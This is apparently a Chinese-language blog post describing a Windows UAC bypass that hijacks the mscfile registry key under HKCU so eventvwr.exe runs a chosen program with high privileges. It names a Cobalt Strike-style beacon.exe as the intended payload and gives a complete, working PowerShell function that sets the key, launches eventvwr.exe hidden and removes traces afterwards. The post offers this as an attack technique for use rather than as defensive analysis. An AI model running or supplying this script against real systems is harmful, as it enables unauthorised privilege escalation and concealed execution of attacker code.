Bypass UAC

一、UAC介绍

 UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。

当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac

二、利用注册表bypass uac

HKCU = HKEY_CURRENT_USER
HKLM = HKEY_LOCAL_MACHINE
HKCR = HKEY_CLASSES_ROOT
一些高权限的程序会调用 HKCR:下的键值,通过修改 HKCU下面的键值同步修改HKCR 下的键值,把原来得值改成想运行得程序比如beacon.exe,如果高权限得程序运行过程会调用这个键值,就会以高权限运行我们得程序达到bypass uac

sigcheck.exe 工具可以查看 exe 的 manifest,在 manifest 中可以看到程序的权限。

找的话要找highestAvailable得属性,使用Process Monitor进行过滤规则的选择,找到程序eventvwr.exe,找到其调用过程,可以发现这条注册表的项它会进行查询

eventvwr.exe 首先查询键值 HKCU\Software\Classes\mscfile\shell\open\command,查询结果为 NAME NOT FOUND;

  eventvwr.exe 接着查询键值 HKCR\mscfile\shell\open\command,结果为 SUCCESS,因为修改注册表HKCU\Software\Classes\mscfile\shell\open\command得值只需要普通用户权限,所以修改为calc.exe进行测试

win10测试发现没有加载这个注册表路径,win7存在,但是需要手动添加后面得选项\shell\open\command,如下图所示成功弹出calc.exe

 

calc.exe程序权限为 high,成功绕过 UAC。

 

powershell自动化添加:powershell.exe -exec bypass -Command "& {Import-Module .\bypass.ps1;Invoke-Bypass }"

function Invoke-Bypass {
      Param (
      [String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
      )

      $CommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
      $filePath = "HKCU:\Software\Classes\mscfile\shell\open\command"
      New-Item $CommandPath -Force | Out-Null
      New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
      Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
      Write-Host "[+] Registry entry has been created successfully!"

      $Process = Start-Process -FilePath "C:\Windows\System32\eventvwr.exe" -WindowStyle Hidden
      Write-Host "[+] Starting WSReset.exe"

      Write-Host "[+] Triggering payload.."
      Start-Sleep -Seconds 5

      if (Test-Path $filePath) {
      Remove-Item $filePath -Recurse -Force
      Write-Host "[+] Cleaning up registry entry"
      }
}

 

 

参考链接:

Win10bypass:https://www.chabug.org/tools/1714.html

http://blog.leanote.com/post/snowming/ec21a4823438

 

posted @ 2020-05-28 10:26  aoaoaoao  阅读(2011)  评论(0编辑  收藏  举报